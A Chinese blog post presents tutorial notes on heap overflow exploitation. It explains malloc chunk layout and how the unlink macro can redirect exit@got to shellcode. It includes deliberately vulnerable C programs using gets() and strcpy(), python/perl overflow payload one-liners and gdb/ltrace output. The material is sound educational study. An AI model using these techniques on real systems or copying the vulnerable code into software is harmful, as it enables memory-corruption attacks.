《黑客攻防-系统实战》--堆溢出

  参考文献

  《系统攻防技术-系统实战》

  https://bbs.pediy.com/thread-217613.htm

  https://www.cnblogs.com/gm-201705/p/9901548.html

  一.  堆是什么?

  程序运行过程中,需要更多的内存时,如果使用brk() 和 mmap() 进行处理,效率不高而且比较复杂,因此当程序需要分配或释放内存的时候,libc 为程序员提供malloc(), remalloc() 和 free().

  在接到请求时(例如用户请求1024个字节), malloc() 把 brk() 分配的大小内存块分成小块,并将合适的块分给用户,free() 的是时候,会判断新释放的块是否和其他块可以合并,这个处理过程减少碎片,从而防止程序频繁使用brk()

通过malloc()分配的堆内存,如何布局?

 

 

上图就是malloc()分配两块内存的情形。

其中mem指针指向的是malloc()返回的地址,pre_size与size都是4字节数据,size存放当前chunk(内存块,本文均不翻译)大小,pre_size存放上一个chunk大小。

因为malloc实现分配的内存空间是8字节对齐的,所以size的低3位其实没用,就取其中一位,用来标志前一个chunk是否被释放即PREV_INUSE位。当前一chunk释放,PREV_INUSE位置0,否则置1。

当malloc()分配的空间使用完毕后,将其mem指针传给free()进行释放。

 free()对堆内存布局会产生什么影响?

 

上图的情形是,当前chunk的上一chunk被free()释放,容易发现,当前chunk的PREV_ISUSE标志位置0,表示前一chunk已经被释放。

被释放的chunk中,原先data的位置的低地址处被填入两个指针,分别是fd和bk,它们是forward和backward单词的缩写,分别 表示前一个free chunk和后一个free chunk的地址。这样所有通过free()释放的内存chunk会组成一个双向链表。也因此一个chunk最小长度为16字节:2个size和2个指 针。

当一个chunk被释放时,还有一件事情要做,就是检查相邻chunk的是否处于释放状态,如果相邻chunk空闲的话,就会进行chunk合并操作。由于每个chunk中都存放了size信息,所以很容易就找到当前chunk前后chunk的状态。

free()里面会调用一个unlink宏来执行合并操作:

1
2
3
4
5
6
#define unlink(P, BK, FD) {                      \
      FD = P->fd;                                    \
      BK = P->bk;                                    \
      FD->bk = BK;                                   \
      BK->fd = FD;                                   \
}

好了,这个宏就是堆溢出利用的关键。仔细阅读这个宏其实就是在一个双向链表中删除一个结点的操作:

1
2
P->fd->bk = P->bk
P->bk->fd = P->fd

其中P代表当前被删除结点。

堆溢出如何利用?

首先构造一段堆溢出漏洞代码:

1
2
3
4
5
6
7
8
9
int main(void)
{
    char *buff1, *buff2;
    buff1 = malloc(40);
    buff2 = malloc(40);
    gets(buff1);
    free(buff1);
    exit(0);
}

给出堆空间布局:

low address
+---------------------+   <--first chunk ptr
|     prev_size       |
+---------------------+
|     size=48         |          
+---------------------+   <--first                  
|                     |
|     allocated       |         
|      chunk          |      
+---------------------+   <--second chunk ptr                
|    prev_size        |         
+---------------------+                     
|    size=48          |         
+---------------------+   <--second                  
|     Allocated       |         
|       chunk         |     
+---------------------+      
high address

现在使用gets函数进行堆溢出,将第2块chunk的prev_size覆盖为任意值,size覆盖为-4即0xfffffffc,fd位置覆盖为exit@got-12,bk位置覆盖为shellcode地址。

覆盖后的堆空间布局情况:

low address
+---------------------+   <--first chunk ptr
|     prev_size       |
+---------------------+
|     size=48         |          
+---------------------+   <--first                  
|                     |
|     allocated       |         
|      chunk          |      
+---------------------+   <--second chunk ptr                
|    XXXXXXXXX        |         
+---------------------+                     
|   size=0xfffffffc   |         
+---------------------+   <--second   
|     exit@got-12     |  
|    shellcode地址    |               
|     Allocated       |         
|       chunk         |     
+---------------------+      
high address

下面看free(buff1)时发生的操作:

1.first空间即buff1被释放掉

2.检查上一chunk是否需要合并(这里否)

3.检查下一chunk是否需要合并,检查的方法是检查下下个chunk的PREV_ISUSE标志位。即当前chunk加上当前size得到下个 chunk,下个chunk加上下个size得到下下个chunk,因为我们设置下个chunk大小为-4,则下个chunk的pre_size位置被认 为是下下个chunk的开始,下个size位置是0xfffffffc标志未置位,被认为是free的需合并。

那么,这里合并用到unlink宏时出问题了,同样对照上面图来看:

1
2
3
4
5
6
7
8
second->fd->bk=second->bk
    /* 1.second->bk是shellcode址
       2.shellcode的地址被写进了second->fd+12的位置
       3.second->fd是exit@got的地址-12
       4.所以second->fd+12的位置就是exit@got-12 + 12 = exit@got即got中存的exit地址
       因此exit()函数地址已经被shellcode地址替换
    */
second->bk->fd=second->fd

“shellcode的地址被写进了second->fd+12的位置” 这句话要好好理解,为什么second->fd->bk是second->fd+12呢? 其实second->fd指向前一chunk头部,加12是跳过pre_size,size和fd即到达bk位置。

 

  二. 基本的堆溢出

  

#include <stdio.h>
int main(int argc, char *argv[])
{
    char *buf;
    char *buf2;
    buf = (char *)malloc(1024);
    buf2 = (char *)malloc(1024);
    printf("buf=%p, buf2=%p/n", buf, buf2);
    
    strcpy(buf, argv[1]);
    free(buf2);
}

该程序分配有两个缓冲区,它们在内存中是相邻的,当第一个缓冲区溢出时会改写第二个缓冲区中的元数据。编译用ltrace跟踪运行:

sep@sep:~/project/shellcode$ ltrace ./basicheap `perl -e 'print "A" x 5000'`
__libc_start_main(0x8048444, 2, 0xbfb19a24, 0x80484d0, 0x80484c0 <unfinished ...>
malloc(1024)                                                        = 0x804a008
malloc(1024)                                                        = 0x804a410
printf("buf=%p, buf2=%p/n", 0x804a008, 0x804a410buf=0x804a008, buf2=0x804a410
)                   = 30
strcpy(0x804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)            = 0x804a008
free(0x804a410 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

发生了segmentation fault。两个缓冲区的首地址分别是0x804a008和0x804a410,它们之间的距离是 0x804a410-0x804a008=1032=1024+8,它等于缓冲区的长度1024字节加上存贮块信息头的8个字节。进行strcpy了 5000个字节的数据到buf中时,发生了堆溢出,从而改写了buf2的头部块信息,这时进行free(buf2)操作就会导致段故障。

对于strace、ltrace等工具的使用,见:http://www.ibm.com/developerworks/cn/linux/l-tsl/

我们怎样欺骗malloc,使它处理改写后的内存块是问题的关键。首先,我们要清除被改写的块头部的previous-in-use位,然后把“前一块”的长度设为负数,这样将运行我们在缓冲区中定义我们自己的块。

malloc实现,包括Linux中dlmalloc,都把额外信息保存到空闲块里。空闲块的前4个字节是前向指针,接下来的4个字节是一个后向指针,这两种指针把空闲块挂在双向链表上。在对双向链表的插入和删除操作中,我们可以利用这些指针改写任意内存地址中的数据。

./basicheap `python -c 'print "A" * 1024 + "/xff/xff/xff/xff" + "/xf0/xff/xff/xff"'`

该命令运行后,堆缓冲区buf溢出,改写了buf2头部的8个字节为0xfffffff0和0xffffffff。

找出缓冲区的长度,在以上的例子中我们通常可以在内存中看到缓冲区(以A开始的)的起始位置,这个word之前的数据就是缓冲区的长度。(gdb) x/xw buf-4显示长度是1033,它等于buf的长度1024加上存储块信息的8个字节,而最后1位指示这个块之前是否还有其他块。如果它被置位(像这个例 子),表明这块头部没有保存前一个块的大小;如果它被置0,则表示这个块之前还有一个块,而且buf-8中的数据就是前一个块的大小。倒数第二位是一个标 记,表示这个块是否由nmap分配的。

sep@sep:~/project/shellcode$ gdb ./basicheap
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".

(gdb) r `python -c 'print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" '`
Starting program: /home/sep/project/shellcode/basicheap `python -c 'print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" '`
Failed to read a valid object file image from memory.
buf=0x804a008, buf2=0x804a410 ;输出两个缓冲区的首地址
*** glibc detected *** /home/sep/project/shellcode/basicheap: free(): invalid pointer: 0x0804a410 ***
======= Backtrace: =========
/lib/i686/cmov/libc.so.6[0xb7ecc764]
/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ece966]
/home/sep/project/shellcode/basicheap[0x80484b2]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e74455]
/home/sep/project/shellcode/basicheap[0x80483b1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
08049000-0804a000 rw-p 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7d00000-b7d21000 rw-p b7d00000 00:00 0 
b7d21000-b7e00000 ---p b7d21000 00:00 0 
b7e48000-b7e54000 r-xp 00000000 08:01 1318 /lib/libgcc_s.so.1
b7e54000-b7e55000 rw-p 0000b000 08:01 1318 /lib/libgcc_s.so.1
b7e5d000-b7e5e000 rw-p b7e5d000 00:00 0 
b7e5e000-b7fb3000 r-xp 00000000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb3000-b7fb4000 r--p 00155000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb4000-b7fb6000 rw-p 00156000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb6000-b7fb9000 rw-p b7fb6000 00:00 0 
b7fc0000-b7fc3000 rw-p b7fc0000 00:00 0 
b7fc3000-b7fc4000 r-xp b7fc3000 00:00 0 [vdso]
b7fc4000-b7fde000 r-xp 00000000 08:01 11658 /lib/ld-2.7.so
b7fde000-b7fe0000 rw-p 0001a000 08:01 11658 /lib/ld-2.7.so
bf879000-bf88e000 rw-p bf879000 00:00 0 [stack]

Program received signal SIGABRT, Aborted.
0xb7fc3410 in ?? ()
(gdb) x/xw 0x804a008-4 ;打印buf-4处的内容
0x804a004: 0x00000409  ;buf的大小
(gdb) x/xw 0x804a410-8 ;打印buf2-8处的内容
0x804a408: 0xfffffffc  ;原来应该为前一个块的大小,现被改写为0xfffffffc
(gdb) x/xw 0x804a410-4 ;打印buf2-4处的内容
0x804a40c: 0xfffffff0  ;原来应该为buf2的大小,现被改写为0xfffffff0
(gdb) x/xw 0x804a410   ;缓冲区buf2被填充了字符串“AAAAABCDEFGH”
0x804a410: 0x41414141  
(gdb) x/xw 0x804a410+4
0x804a414: 0x44434241
(gdb)

 

posted @ 2019-07-14 23:51  坚持,每天进步一点点  阅读(602)  评论(0编辑  收藏  举报